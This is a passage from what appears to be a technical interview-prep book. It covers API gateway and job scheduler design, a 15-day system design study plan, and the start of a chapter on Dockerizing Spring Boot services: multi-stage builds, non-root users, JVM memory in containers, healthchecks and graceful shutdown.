- Kafka decouples bursts from storage; partition by service; backpressure through bounded agent buffers.
- Cost control: sampling, dropping debug logs, downsampling metrics (1m, 1h rollups), index only needed fields.
- Alerting evaluates rules on the TSDB, deduplicates and routes (PagerDuty).
- Trade-offs: index everything (expensive, fast search) vs index labels only (Loki style).
- Failure modes: pipeline lag (alerts on consumer lag), agent disk buffers for network loss, cardinality explosion in metrics labels.

FOLLOW-UP TRAPS

- **Why put Kafka in the middle?** Absorb spikes and allow multiple consumers and replay.
- **What is the main metrics danger?** High-cardinality labels (user ids) blowing up the series count.

#observability #kafka #time-series

Q19 Design an API gateway.

INTERMEDIATE

A gateway is the single entry point that terminates TLS, authenticates, rate-limits, routes to services via a dynamic route table, and emits telemetry; it must be stateless and horizontally scalable.

- Requirements: routing, authN/Z (JWT/OAuth), rate limiting, request/response transformation, circuit breaking, canary routing, observability, <5 ms added latency.
- Estimates: 200K req/s peak; each node ~20K req/s, so ~15 nodes across AZs.
- API: admin API for routes, upstreams, plugins; data plane forwards by host/path.
- Data model: route config (`path -> upstream, plugins, limits`) in etcd/DB, pushed to nodes and cached; JWKS cache for token validation.

```
Client -> Global LB/WAF -> Gateway Cluster [TLS | AuthN | RateLimit | Route | LB |
CircuitBreaker]
                                  -> Service A / B / C (service discovery)
Control Plane -> Config Store -> push to gateways ; Telemetry -> Metrics/Tracing
```

- Auth: validate JWT locally with cached keys (no remote call per request); introspect only opaque tokens, with a short cache.
- Resilience: timeouts, retries only for idempotent calls, circuit breakers, bulkheads per upstream.
- Trade-offs: central gateway risks becoming a bottleneck/SPOF and a team dependency; keep business logic out of it; BFF gateways per client type.
- Failure modes: bad config push (validate and roll out gradually), upstream slowness (timeouts, load shedding), key rotation (JWKS refresh).

FOLLOW-UP TRAPS

- **Gateway vs service mesh?** Gateway handles north-south traffic; the mesh handles east-west service-to-service concerns.
- **Should the gateway call the DB?** No, keep it stateless and thin.

#api-gateway #routing #security

Q20 Design a distributed job scheduler.

ADVANCED

Store job definitions and next-run times in a database, have schedulers claim due jobs with leases, push them to a queue, and workers execute with at-least-once semantics so jobs must be idempotent.

- Requirements: cron and one-off jobs, retries with backoff, priorities, millions of jobs, no missed or double runs at scale, visibility and cancellation.
- Estimates: 10M scheduled jobs, 5K executions/s peak at the top of the minute (cron spike); execution history ~1 KB/run.
- API: `POST /jobs {cron|runAt, payload, retryPolicy}`, `DELETE /jobs/{id}`, `GET /jobs/{id}/runs`.
- Data model: `jobs(id, schedule, next_run_at, status, owner)` indexed on `next_run_at`; `job_runs(id, job_id, state, attempt, started_at, lease_until)`.

```
API -> Jobs DB (partitioned) <- Scheduler nodes (poll due jobs per partition, SELECT ... FOR
UPDATE SKIP LOCKED)
Scheduler -> Queue (Kafka/SQS) -> Worker Fleet -> update run state ; failed -> retry/DLQ
Leader election / partition ownership via ZooKeeper/etcd
```

- Claiming: schedulers fetch `WHERE next_run_at <= now() LIMIT n FOR UPDATE SKIP LOCKED`, set a lease, enqueue, and advance `next_run_at` in the same transaction.

- Spike handling: add jitter to cron times, partition jobs by hash across scheduler instances.
- Execution guarantees: at-least-once plus idempotency keys (job id + scheduled time); heartbeats extend leases; expired leases are re-queued.
- Trade-offs: DB polling (simple, a few thousand/s per shard) vs hierarchical timing wheels in memory for sub-second precision.
- Failure modes: scheduler crash (lease expiry, another takes over), worker crash (visibility timeout), clock skew (use DB time), long-running jobs (heartbeats, timeouts).

FOLLOW-UP TRAPS

- **Can you guarantee exactly-once execution?** No; at-least-once plus idempotent handlers gives the effect.
- **How do two schedulers avoid running the same job?** Row claim with `SKIP LOCKED` or a lease/fencing token.

#job-scheduler #leader-election #idempotency

SYSTEM DESIGN · CHAPTER 7

15-Day Strategy & Interview Framework

A practical plan and framework for system design interviews - step-by-step approach, estimation, trade-off communication, common mistakes, a day-by-day 15-day schedule and a mock interview checklist.

20 questions **10** basic **9** intermediate **1** advanced

This chapter is about how to prepare and how to run the 45-60 minutes, not about any one system. Use it with the Low-Level Design and High-Level Design chapters.

Strategy

Q1 What is a reliable step-by-step framework for a system design interview? BASIC

Follow a fixed order: clarify requirements, estimate scale, define APIs, sketch the data model, draw a high-level architecture, deep dive into the hardest parts, then discuss trade-offs and failures.

1. Requirements (5 min): functional, non-functional, out of scope.
2. Estimates (3-5 min): QPS, storage, bandwidth.
3. API and data model (5-7 min).
4. High-level diagram (10 min).
5. Deep dives (15-20 min) on 2 components the interviewer or the problem makes critical.
6. Bottlenecks, failure modes, monitoring, extensions (5 min).

FOLLOW-UP TRAPS

- **Is the framework a script to recite?** No, adapt time to the interviewer's interest; the order exists to avoid skipping steps.
- **What if the interviewer jumps ahead?** Follow them, and return to skipped steps briefly later.

#framework #structure

Q2 How do you clarify requirements without wasting time? BASIC

Ask 5-8 targeted questions that change the design, state your assumptions aloud, and write them on the board.

- Functional: the 3-4 core use cases; what is explicitly out of scope.
- Non-functional: scale (DAU), latency target, availability vs consistency, durability, read/write ratio, global or single region.
- Constraints: existing tech stack, budget, team size.
- Say "I will assume X; tell me if wrong" rather than waiting for answers to every question.

FOLLOW-UP TRAPS

- **Should you ask about every feature?** No, prioritise; "what is the MVP?" is a good question.
- **What if requirements are vague on purpose?** Pick reasonable defaults and state them; that is the test.

#requirements #clarification

Q3 How do you do back-of-the-envelope estimation quickly? BASIC

Work from DAU to requests per second to storage and bandwidth using round numbers; the goal is order of magnitude, not precision.

- 1 day = ~100K seconds (86,400). 1M requests/day = ~12 QPS. Peak = 2-10x average.
- Storage = items/day x size x retention x replication (x3).
- Bandwidth = QPS x payload size.
- Memorise: 1 KB = 10^3, 1 MB = 10^6, 1 GB = 10^9; read from memory ~100 ns, SSD ~100 us, network round trip in a data centre ~0.5 ms, cross-region ~100 ms.
- Use the numbers to decide: does it fit on one machine, need sharding, or a cache?

FOLLOW-UP TRAPS

- **Should you compute exact figures?** No, over-precision wastes time.
- **Do estimates matter if they do not change the design?** Make a decision from them (e.g., "5 TB means sharding").

#estimation #capacity

Q4 How do you decide the depth and breadth of the high-level design? INTERMEDIATE

Draw a simple end-to-end design first (breadth) so that every requirement is covered, then go deep where the problem is hardest or the interviewer shows interest.

- Start from the core flow: client, load balancer, service, database, then add cache, queue, CDN only when a requirement or estimate justifies it.
- Name the hardest part of the problem: fan-out (feed), concurrency (booking), ordering (chat), ID generation, geospatial search.
- Check in: "I would like to deep dive on X, or would you prefer Y?"

FOLLOW-UP TRAPS

- **Should you add every component you know?** No, each box needs a reason tied to a requirement.
- **What if you do not know the deep-dive topic?** Reason from first principles and state what you would look up.

#depth #breadth

Q5 How do you communicate trade-offs effectively? INTERMEDIATE

For each major decision name the options, state the criteria, choose one with a reason tied to requirements, and say what you give up and when you would revisit it.

- Pattern: "Option A gives X but costs Y; Option B ... Given our read-heavy workload and relaxed consistency, I choose A; if we need strong consistency I would switch to B."
- Quantify when possible ("adds ~1 ms", "doubles storage").
- Avoid "it depends" without finishing the sentence.
- Typical axes: consistency vs availability, latency vs cost, simplicity vs flexibility, push vs pull, SQL vs NoSQL.

FOLLOW-UP TRAPS

- **Is it bad to change your mind?** No, revising when a new constraint appears is a strength.
- **Can you claim a design has no downsides?** No, that signals inexperience.

#trade-offs #communication

Q6 What are the most common mistakes in system design interviews? BASIC

The big ones are jumping into the design without requirements, name-dropping technologies without reasons, ignoring scale numbers, and never discussing failure.

- Silence: not thinking aloud, so the interviewer cannot help or give credit.
- Over-engineering: microservices, Kafka and sharding for 100 QPS.

- Single points of failure left unaddressed.
- Ignoring the data model or API entirely.
- Defending a decision rigidly against valid feedback.
- Running out of time before deep dives; poor time-boxing.

FOLLOW-UP TRAPS

- **Is using many buzzwords a plus?** No, unexplained buzzwords are a minus.
- **What is worse, a flawed design or no design?** No design; a flawed one can be improved in discussion.

#mistakes #pitfalls

Q7 **How should you manage the 45-60 minutes of the interview?** BASIC

Time-box each phase and check the clock at phase boundaries; keep at least 15 minutes for deep dives.

- 0-5 requirements; 5-10 estimates and API; 10-20 high-level design; 20-40 deep dives; 40-50 failures, scaling, trade-offs; last minutes summary.
- Park tangents: "I will note that and come back to it."
- If behind, say so and compress: "In the interest of time I will outline the schema and focus on the feed generation."

FOLLOW-UP TRAPS

- **Should you spend 15 minutes on the API?** No, list the 3-5 key endpoints with inputs/outputs.
- **What if the interviewer lets you ramble?** Self-correct and steer to the hard part.

#time-management

Q8 **How do you choose between SQL and NoSQL in an answer?** INTERMEDIATE

Choose by access pattern and consistency need, not fashion: relational for transactions and joins, key-value/wide-column for massive scale with simple access patterns, document for flexible schemas.

- SQL: payments, orders, inventory, anything needing ACID and ad-hoc queries; scales with replicas, then sharding.
- Wide-column (Cassandra): write-heavy time-series, messages, partition by key, tunable consistency.
- Key-value (DynamoDB/Redis): sessions, caches, counters.
- Search (Elasticsearch): full-text; not a primary store.
- Say the access pattern first: "We read messages by conversation ordered by time, so partition key = conversation id."

FOLLOW-UP TRAPS

- **Does NoSQL always scale better?** Not automatically; the data model and partition key decide.
- **Can SQL handle 10K QPS?** Yes, with indexes, replicas and caching; many systems never need more.

#database #sql-nosql

Q9 **How do you discuss scalability: vertical, horizontal, caching, sharding, replication?** INTERMEDIATE

Scale in the cheapest order that meets the numbers: optimise queries and add indexes, cache, add read replicas, scale stateless services horizontally, then shard and use queues for async work.

- Stateless services behind a load balancer scale by adding nodes; keep state in stores.
- Caching: CDN for static, Redis for hot data; state invalidation strategy (TTL, write-through).
- Replication: read scaling and availability; discuss replication lag.
- Sharding: pick a key that spreads load and matches queries; discuss hot shards, rebalancing, cross-shard queries.

- Async: queues absorb spikes and decouple services.

FOLLOW-UP TRAPS

- **Shard first?** No, sharding is costly operationally; exhaust simpler options.
- **What breaks with sharding?** Cross-shard joins, transactions and unique constraints.

#scalability #building-blocks

Q10 How do you handle consistency and availability discussion (CAP, PACELC)? INTERMEDIATE

During a network partition you must choose between consistency and availability; otherwise (PACELC) you trade latency against consistency. Pick per feature, not per system.

- Strong consistency for money, inventory, seat booking.
- Eventual consistency for feeds, likes, view counts, search indexes.
- Tools: quorum reads/writes (R+W>N), leader-based replication, idempotency, conflict resolution (LWW, CRDTs).
- State it concretely: "The like counter can lag a few seconds; the payment ledger cannot."

FOLLOW-UP TRAPS

- **Is CAP "pick any two"?** No, partitions happen; the real choice is C vs A when they do.
- **Is eventual consistency the same as no consistency?** No, replicas converge absent new writes.

#cap #consistency

Q11 How do you talk about failure modes and reliability? INTERMEDIATE

Walk the diagram and ask "what if this dies, slows down, or returns garbage?" for each component, then state the mitigation: redundancy, timeouts, retries with backoff, circuit breakers, fallbacks, graceful degradation.

- Remove single points of failure: multi-AZ, replicas, leader election.
- Retries need idempotency and jitter to avoid retry storms.
- Load shedding and rate limiting protect overloaded services.
- Data: backups, point-in-time recovery, replication across regions, RPO/RTO.
- Observability: metrics (RED/USE), logs, traces, alerts on SLOs.

FOLLOW-UP TRAPS

- **Are retries always safe?** No, only for idempotent operations, and they can amplify outages.
- **What is graceful degradation?** Serve reduced functionality (e.g., stale feed) rather than failing completely.

#reliability #failure-modes

Q12 How should you approach LLD vs HLD interviews differently? BASIC

HLD is about components, data flow, scale and trade-offs; LLD is about classes, interfaces, patterns, correctness and concurrency inside one service.

- HLD artifacts: diagram, API, schema, estimates; LLD artifacts: class diagram and compilable code.
- LLD scoring: clean abstractions, SOLID, extensibility, thread safety, edge cases, tests.
- Prepare differently: HLD by studying building blocks and canonical systems; LLD by coding 10-15 problems yourself.

FOLLOW-UP TRAPS

- **Do you draw boxes in LLD?** A short class diagram helps, then code.
- **Do you do estimates in LLD?** Rarely; focus on object model and flow.

#lld-vs-hld

Q13 What building blocks must you know cold for HLD?

INTERMEDIATE

Load balancers, CDNs, caches, SQL and NoSQL databases, replication and sharding, message queues/streams, object storage, search indexes, consistent hashing, and rate limiting.

- Know when each is appropriate and its failure behaviour (e.g., Kafka partition ordering, Redis persistence modes, S3 consistency).
- Patterns: cache-aside, CQRS, outbox, saga, leader election, idempotency keys, bloom filters, geohashing.
- Protocols: HTTP/REST, gRPC, WebSocket, long polling, SSE.

FOLLOW-UP TRAPS

- **L4 vs L7 load balancer?** L4 routes on IP/port; L7 inspects HTTP for routing, TLS termination.
- **Kafka vs RabbitMQ?** Kafka is a partitioned replayable log for throughput; RabbitMQ is a broker for flexible routing and per-message ack.

#building-blocks #fundamentals

Q14 Give a 15-day preparation plan for system design.

BASIC

Spend days 1-4 on fundamentals, days 5-6 on LLD fundamentals and practice, days 7-12 on canonical HLD systems, days 13-14 on mocks, and day 15 on review and rest.

- Day 1: framework, estimation, latency numbers. Day 2: databases, indexing, replication, sharding.
- Day 3: caching, CDN, load balancing, consistency models (CAP). Day 4: queues, streams, async patterns, idempotency.
- Day 5: SOLID and design patterns; code 2 LLD problems. Day 6: concurrency in LLD; code 3 more.
- Day 7: URL shortener, pastebin, rate limiter. Day 8: news feed, notifications. Day 9: chat, presence.
- Day 10: file storage, video streaming. Day 11: ride sharing, search autocomplete, crawler.
- Day 12: payments, checkout, ticket booking. Day 13: two timed mocks. Day 14: weak areas, one mock. Day 15: skim notes, rest.

FOLLOW-UP TRAPS

- **Is cramming all systems realistic?** Understand patterns; many systems reuse the same 10 ideas.
- **Should the last day be heavy?** No, review light and sleep.

#study-plan #15-day

Q15 How do you practise effectively day to day?

BASIC

Practise out loud with a timer and a whiteboard, then compare with a reference and write down gaps; active practice beats passive reading.

- Per problem: 40 minutes solo design, 15 minutes review, one-paragraph summary of key decisions.
- Keep a one-page cheat sheet: estimation numbers, building block pros/cons, patterns.
- Read real engineering blogs (Uber, Netflix, Discord, Stripe) to see actual trade-offs.
- Do at least 3 mocks with a partner and ask for blunt feedback.
- For LLD, type compilable code in an editor, not pseudocode.

FOLLOW-UP TRAPS

- **Is watching videos enough?** No, you must produce designs yourself.
- **Should you memorise answers?** No, interviewers vary the constraints; learn reasoning.

#practice #study-tips

Q16 How do you handle an interviewer's push-back or a hint?

INTERMEDIATE

Treat push-back as collaboration: acknowledge, restate the concern, evaluate it against requirements, and adapt or defend with evidence.

- "Good point, that breaks at 10x write volume. Then I would partition by user id and move that path to async."
- A hint usually signals a missed requirement or a better direction; take it without defensiveness.
- If you disagree, explain the trade-off politely and ask what constraint they have in mind.

FOLLOW-UP TRAPS

- **Should you always agree?** No, defend with reasoning when you are right.
- **What if you do not know the answer?** Say so, reason through options, and state your best guess.

#communication #feedback

Q17 What does a good diagram look like, and how do you draw it?

BASIC

Left to right flow from clients to storage, labelled boxes, arrows with direction and protocol/sync-async, a legend for queues and caches, built incrementally.

- Start with the minimal path, then add components as justified.
- Label data stores with what they hold and the partition key.
- Mark synchronous (solid) vs asynchronous (dashed) paths.
- Number the steps of the main flow and narrate them.
- Keep it readable; avoid drawing every replica.

FOLLOW-UP TRAPS

- **Should the diagram be perfect before you speak?** No, narrate while drawing.
- **Do you need UML?** No, simple boxes and arrows are expected for HLD.

#diagrams #whiteboard

Q18 How do you show seniority in a system design interview?

ADVANCED

Seniors drive the conversation, tie every decision to requirements and cost, anticipate failure and operations, and discuss evolution over time.

- Proactively define SLOs, rollout, migration and monitoring.
- Mention operational concerns: on-call load, deployment safety, cost per request, data privacy and compliance.
- Discuss phased delivery: what is built in v1 versus later.
- Reference real experience: "In a similar system we saw hot partitions, so we..."
- Identify the riskiest assumption and how to de-risk it.

FOLLOW-UP TRAPS

- **Is more detail always senior?** No, knowing what to leave out is senior.
- **Do seniors know every technology?** No, they reason well and know trade-offs.

#seniority #depth

Q19 What is a mock interview checklist to self-assess a design session?

INTERMEDIATE

After each mock, score yourself on a fixed checklist and record one improvement for the next.

- Clarified functional and non-functional requirements and stated assumptions.
- Did estimates and used them to drive a decision.
- Defined APIs and a data model with keys and indexes.
- Drew a clear diagram that covers every requirement.
- Deep dived on the hardest 1-2 problems with alternatives.
- Discussed trade-offs, bottlenecks, and at least three failure modes.
- Mentioned monitoring, security and data consistency.

- Managed time and communicated continuously.
- Responded well to hints.

> **FOLLOW-UP TRAPS**
> - **Is a mock with an AI or friend equal to a real interview?** Useful for structure, but add a timer and real pressure.
> - **How many mocks are enough?** 4-6 with feedback typically shows clear gains.

#mock-interview #checklist

Q20 What do you do on interview day and in the final hour before? BASIC

Warm up lightly with one familiar problem or your cheat sheet, prepare your whiteboard/tool setup, and keep a calm, structured mindset; do not learn new topics.

- Test your video, audio, and the shared drawing tool; have paper for notes.
- Re-read the framework steps and latency numbers.
- During the session: think aloud, ask clarifying questions, keep an eye on time, and summarise at the end.
- If you blank, restate requirements and draw the simplest possible design; momentum returns.

> **FOLLOW-UP TRAPS**
> - **Should you wait for the interviewer to start the design?** No, drive after clarifying.
> - **What if the problem is unfamiliar?** Decompose into known building blocks (storage, queue, cache, fan-out) and proceed.

#interview-day #mindset

PART V

Docker, Cloud & DevOps

Docker, AWS, Kubernetes, CI/CD and the observability you ship with a service.

7 chapters · 185 questions

1. Docker for Java Applications
2. Deploying Spring Boot on AWS
3. Kubernetes Basics
4. CI/CD Pipelines
5. Logging, Monitoring, Tracing, Prometheus & Grafana
6. Terraform Fundamentals
7. Mini-guide: Shipping a Spring Boot Microservice to Production

DOCKER, CLOUD & DEVOPS · CHAPTER 1

Docker for Java Applications

Images and layers, Dockerfile best practices, multi-stage and layered Spring Boot builds, JVM container awareness, memory limits, healthchecks, graceful shutdown, Buildpacks/Jib, compose and production pitfalls.

32 questions **11** basic **15** intermediate **6** advanced

Theory

Q1 What is a Docker image, and how do layers work? BASIC

An image is an immutable, read-only stack of filesystem layers plus metadata (entrypoint, env, ports). Each Dockerfile instruction that changes the filesystem (`RUN`, `COPY`, `ADD`) creates a layer identified by a content hash; a container adds a thin writable layer on top.

- Layers are shared between images and cached by the builder: if an instruction and everything before it is unchanged, the cached layer is reused.
- Once a layer is invalidated, all layers after it are rebuilt.
- Deleting a file in a later layer does not shrink the image; the bytes still exist in the earlier layer.

FOLLOW-UP TRAPS

- **Does `RUN rm bigfile` in a later step reduce image size?** No, the file stays in the earlier layer; remove it in the same `RUN` or use a multi-stage build.
- **Do `ENV` / `CMD` create layers with data?** They create metadata-only (empty) layers.

#images #layers

Q2 What is the difference between `CMD` and `ENTRYPOINT`, and exec vs shell form? BASIC

`ENTRYPOINT` defines the executable; `CMD` supplies default arguments (or the default command if no entrypoint). Exec form (`["java","-jar","app.jar"]`) runs the process directly as PID 1; shell form (`java -jar app.jar`) wraps it in `/bin/sh -c`, so the shell is PID 1.

```
ENTRYPOINT ["java", "-jar", "/app/app.jar"]
CMD ["--spring.profiles.active=prod"]
```

- `docker run image --foo` replaces `CMD` only; `--entrypoint` overrides the entrypoint.
- In shell form, `SIGTERM` goes to `sh`, which usually does not forward it to Java, so graceful shutdown breaks.
- Shell form does not expand variables in exec form; use `sh -c` explicitly or `JAVA_TOOL_OPTIONS` when you need env expansion.

FOLLOW-UP TRAPS

- **Why does `ENTRYPOINT ["java","-Xmx$MEM","-jar","app.jar"]` not expand `$MEM`?** Exec form does no shell processing; use `JAVA_TOOL_OPTIONS` or `sh -c "exec java ..."`.
- **Does `ADD` differ from `COPY`?** `ADD` also extracts local tars and fetches URLs; prefer `COPY`.

#dockerfile #entrypoint

Q3 Dockerfile best practices for a Java service INTERMEDIATE

Order instructions from least to most frequently changing, keep the image small, run as non-root and pin versions.

- Copy dependency descriptors first, resolve dependencies, then copy source, so dependency layers stay cached.
- Use a `.dockerignore` (`target/`, `.git`, `*.md`, IDE files) to shrink build context and avoid cache busting.
- Pin base images by version (ideally digest), not `latest`.
- Combine related `RUN` commands, clean package caches in the same layer.
- Use exec-form `ENTRYPOINT`, a non-root `USER`, and `HEALTHCHECK`/probes.
- Never bake secrets into layers (`ARG`/`ENV` values are visible in `docker history`); use BuildKit `--mount=type=secret`.

FOLLOW-UP TRAPS

- **Is `ARG PASSWORD` safe for build-time secrets?** No, it is stored in image metadata/history; use BuildKit secret mounts.
- **Does `.dockerignore` affect layer caching?** Yes, files that change but are not needed (like `.git`) would invalidate `COPY . .` if not ignored.

#dockerfile #best-practices

Q4 How do multi-stage builds work for Spring Boot? INTERMEDIATE

A multi-stage Dockerfile uses several `FROM` stages; later stages `COPY --from=` only the artifacts they need. The build stage holds JDK and Maven/Gradle; the runtime stage holds only a JRE and the jar, so compilers and caches never ship.

```
FROM eclipse-temurin:21-jdk AS build
WORKDIR /src
COPY pom.xml mvnw ./
COPY .mvn .mvn
RUN --mount=type=cache,target=/root/.m2 ./mvnw -q dependency:go-offline
COPY src src
RUN --mount=type=cache,target=/root/.m2 ./mvnw -q package -DskipTests

FROM eclipse-temurin:21-jre
WORKDIR /app
COPY --from=build /src/target/app.jar app.jar
ENTRYPOINT ["java","-jar","app.jar"]
```

- Final image typically drops from ~600 MB to ~250 MB.
- BuildKit cache mounts keep `~/.m2` between builds without baking it into layers.

FOLLOW-UP TRAPS

- **Are earlier stages part of the final image?** No, only the last stage (or `--target`) is.
- **Why copy `pom.xml` before `src`?** So dependency download is cached until the POM changes.

#multi-stage #spring-boot

Q5 What are Spring Boot layered jars and why use them? INTERMEDIATE

Spring Boot 2.3+ jars contain `META-INF/layers.idx` splitting content into `dependencies`, `spring-boot-loader`, `snapshot-dependencies` and `application`. Extracting them into separate Docker layers means a code change rebuilds only the tiny `application` layer, not ~100 MB of dependencies.

```
FROM eclipse-temurin:21-jre AS extract
WORKDIR /app
COPY target/app.jar app.jar
RUN java -Djarmode=tools -jar app.jar extract --layers --launcher --destination extracted

FROM eclipse-temurin:21-jre
WORKDIR /app
COPY --from=extract /app/extracted/dependencies/ ./
COPY --from=extract /app/extracted/spring-boot-loader/ ./
COPY --from=extract /app/extracted/snapshot-dependencies/ ./
COPY --from=extract /app/extracted/application/ ./
ENTRYPOINT ["java","org.springframework.boot.loader.launch.JarLauncher"]
```

- Boot 3.3+ uses `-Djarmode=tools` and `extract`; Boot 2.3 to 3.2 used `-Djarmode=layertools extract` and `org.springframework.boot.loader.JarLauncher`.
- Faster pushes/pulls because registries and nodes cache unchanged layers.

FOLLOW-UP TRAPS

- **Does a fat jar run directly in a container?** Yes, but any change re-uploads the whole jar layer.
- **Is the launcher class the same in Boot 3.2 and 3.3?** No, the package changed to `org.springframework.boot.loader.launch`.

#layered-jar #spring-boot

Q6 JRE vs JDK base images, Alpine, and distroless: how do you choose? INTERMEDIATE

Ship a JRE (or a `jlink` custom runtime) at runtime since you do not need `javac`; keep the JDK only in the build stage. Choose the base by size, glibc compatibility, security surface and debuggability.

- Debian/Ubuntu-based `eclipse-temurin:21-jre`: glibc, shell, easy debugging, ~200-270 MB.
- Alpine: small (musl libc); mostly fine on modern JDKs but native libs (Netty tcnative, some JNI, Snappy) may misbehave.
- Distroless (`gcr.io/distroless/java21-debian12`): no shell or package manager, fewer CVEs, harder to `exec` into; use `:debug` tags or ephemeral debug containers.
- Chainguard/UBI-minimal are other hardened options.
- `jlink` with `jdeps --print-module-deps` builds a minimal runtime image.

FOLLOW-UP TRAPS

- **Is Alpine always the best for size?** Not necessarily; musl differences and DNS/locale quirks can cost more than the megabytes saved.
- **Can you `kubectl exec` into distroless?** Not with a shell; use `kubectl debug` with an ephemeral container.

#base-image #distroless #alpine

Q7 Why run containers as non-root and how do you do it? BASIC

A root process in a container that escapes through a kernel or runtime bug becomes root on the host; non-root limits the blast radius and is required by many clusters (PodSecurity `restricted`, OpenShift).

```
FROM eclipse-temurin:21-jre
RUN groupadd -r app && useradd -r -g app -u 10001 app
WORKDIR /app
COPY --chown=app:app app.jar .
USER 10001:10001
ENTRYPOINT ["java","-jar","app.jar"]
```

- Use a numeric UID so Kubernetes `runAsNonRoot` can verify it.
- The app must not need to write outside `/tmp` or mounted volumes; pair with `readOnlyRootFilesystem` and an `emptyDir` for `/tmp`.

- Ports below 1024 need root or a capability; listen on 8080 instead.

> **FOLLOW-UP TRAPS**
> - **Why does Kubernetes reject `USER app` with `runAsNonRoot: true`?** It cannot verify a name maps to non-zero UID; use numeric.
> - **Does non-root stop all container escapes?** No, it only reduces impact; combine with dropped capabilities and seccomp.

#security #non-root

Q8 How does the JVM behave inside a container (container awareness)? INTERMEDIATE

Since JDK 8u191 and JDK 10, the JVM reads cgroup limits (`UseContainerSupport`, on by default) and sizes the default heap (25% of container memory) and `availableProcessors()` from them. Older JVMs saw the host's RAM and CPUs and got OOM-killed.

- Default max heap is 1/4 of the memory limit, which is usually too low; set `-XX:MaxRAMPercentage=75` (or 70-80 depending on off-heap use).
- `-Xmx` fixed value overrides percentages; percentages adapt when the limit changes.
- CPU limit of `1500m` yields `availableProcessors() == 2` (rounded up); this sizes ForkJoin common pool, GC threads and Netty/Tomcat defaults.
- With fewer than 2 CPUs or under ~1792 MB the JVM may pick SerialGC instead of G1 ("not a server-class machine").
- JDK 17+/21 support cgroup v2 fully; JDK 8 needs 8u372+ for cgroup v2.

> **FOLLOW-UP TRAPS**
> - **Does `-XX:MaxRAMPercentage` account for metaspace and threads?** No, it only sizes heap; non-heap comes on top.
> - **Does `-Xmx` need to be less than the limit?** Yes, always leave room for metaspace, thread stacks, code cache, direct buffers.

#jvm #cgroups #container-support

Q9 How do you size memory for a JVM container? ADVANCED

Container memory = heap + metaspace + thread stacks + code cache + direct/native buffers + GC structures + OS overhead. Heap at 70-75% of the limit is a common starting point; reduce it if you use lots of threads or off-heap.

- Thread stacks: `-Xss` (1 MB default) x threads, so 500 threads is ~500 MB.
- `-XX:MaxMetaspaceSize`, `-XX:ReservedCodeCacheSize`, `-XX:MaxDirectMemorySize` bound the non-heap parts.
- Inspect with `-XX:NativeMemoryTracking=summary` and `jcmd <pid> VM.native_memory summary`.
- Set requests = limits for memory to avoid surprises under node pressure.
- Spring Boot's Buildpack memory calculator does this math automatically from the limit.

```
JAVA_TOOL_OPTIONS="-XX:MaxRAMPercentage=70 -XX:+ExitOnOutOfMemoryError -XX:MaxMetaspaceSize=256m"
```

> **FOLLOW-UP TRAPS**
> - **Is 100% of the limit as heap fine because the JVM is smart?** No, the process is OOMKilled once total RSS exceeds the limit.
> - **Why add `ExitOnOutOfMemoryError`?** A JVM that has thrown OOM is unreliable; exiting lets the orchestrator restart it cleanly.

#memory #native-memory #tuning

Q10 How do you tell a container OOMKilled from a Java heap OutOfMemoryError? INTERMEDIATE

`java.lang.OutOfMemoryError: Java heap space` is thrown inside the JVM when heap is exhausted; the JVM logs a stack trace and (optionally) writes a heap dump. `OOMKilled` (exit code 137) means the kernel cgroup OOM killer sent SIGKILL because total process RSS exceeded the container limit; the JVM gets no chance to log anything.

- Container: `docker inspect -f '{{.State.OOMKilled}}' c` or `kubectl describe pod` showing `Reason: OOMKilled`, `Exit Code: 137`.
- Heap OOM: fix leak/size, analyze `-XX:+HeapDumpOnOutOfMemoryError -XX:HeapDumpPath=/dumps`.
- OOMKilled with a healthy heap: non-heap growth (threads, direct buffers, metaspace, native libs); lower `MaxRAMPercentage` or raise limit.

FOLLOW-UP TRAPS

- **Exit 137 always means OOM?** No, 137 is SIGKILL; also from `docker kill` or a failed liveness probe grace period timeout.
- **Will a heap dump be written on OOMKilled?** No, SIGKILL cannot be handled.

#oomkilled #troubleshooting

Q11 Container healthchecks: Docker `HEALTHCHECK` vs Kubernetes probes vs Actuator BASIC

Docker `HEALTHCHECK` runs a command periodically and marks the container healthy/unhealthy; Docker Engine and Compose use it, but Kubernetes ignores it and uses its own probes. In Spring Boot, expose Actuator health groups for liveness and readiness.

```
HEALTHCHECK --interval=30s --timeout=3s --start-period=40s --retries=3 \
  CMD ["wget","-qO-","http://localhost:8080/actuator/health/readiness"]
```

```
management:
  endpoint.health.probes.enabled: true
  endpoints.web.exposure.include: health
```

- Boot enables `/actuator/health/liveness` and `/readiness` automatically when it detects Kubernetes.
- The image needs `wget` / `curl`; distroless has neither, so rely on orchestrator probes or a tiny Java health client.
- Do not make liveness depend on the database; a DB outage would restart all pods.

FOLLOW-UP TRAPS

- **Does Kubernetes honour `HEALTHCHECK`?** No.
- **Does an unhealthy Docker container get restarted?** Not by Docker alone; only Swarm or an external supervisor acts on it.

#healthcheck #actuator

Q12 Why does PID 1 matter, and how does graceful shutdown work for Spring Boot in Docker? ADVANCED

`docker stop` sends SIGTERM to PID 1, waits 10 s (default), then SIGKILL. The JVM must be PID 1 (exec form) or the signal must be forwarded; otherwise the app is killed abruptly. PID 1 also has special kernel semantics: no default signal handlers, and it must reap zombie children.

- Use exec form, or `exec java ...` in a wrapper script, or `docker run --init` / `tini`.
- Enable Spring Boot graceful shutdown: in-flight requests finish before the context closes.

```
server.shutdown: graceful
spring.lifecycle.timeout-per-shutdown-phase: 25s
```

- Set `docker stop -t 30` or Kubernetes `terminationGracePeriodSeconds` above the Spring timeout.

- The JVM exits with 143 (128+15) on SIGTERM; that is normal.

FOLLOW-UP TRAPS

- **Why does `CMD java -jar app.jar` take 10 s to stop?** `sh` is PID 1 and does not forward SIGTERM; Docker waits then SIGKILLs.
- **Is graceful shutdown on by default in Boot 3?** No, default is `immediate`; set `server.shutdown=graceful`.

#pid1 #signals #graceful-shutdown

Q13 Buildpacks vs Jib vs a hand-written Dockerfile

INTERMEDIATE

All three produce OCI images; they trade control for convenience.

- **Spring Boot Buildpacks** (`./mvnw spring-boot:build-image`): Paketo builds a layered image with a JRE, memory calculator and non-root user; needs a Docker daemon; reproducible.
- **Jib** (`jib-maven-plugin`/Gradle): builds without a Docker daemon or Dockerfile, layers dependencies/resources/classes separately, pushes straight to a registry; great for CI.
- **Dockerfile**: full control (custom packages, jlink, CDS), but you maintain it.

```
./mvnw spring-boot:build-image -Dspring-boot.build-image.imageName=reg.io/shop/api:1.4.0
./mvnw compile jib:build -Djib.to.image=reg.io/shop/api:1.4.0
```

FOLLOW-UP TRAPS

- **Does Jib need Docker installed?** No, it talks to registries directly (`jib:dockerBuild` is the exception).
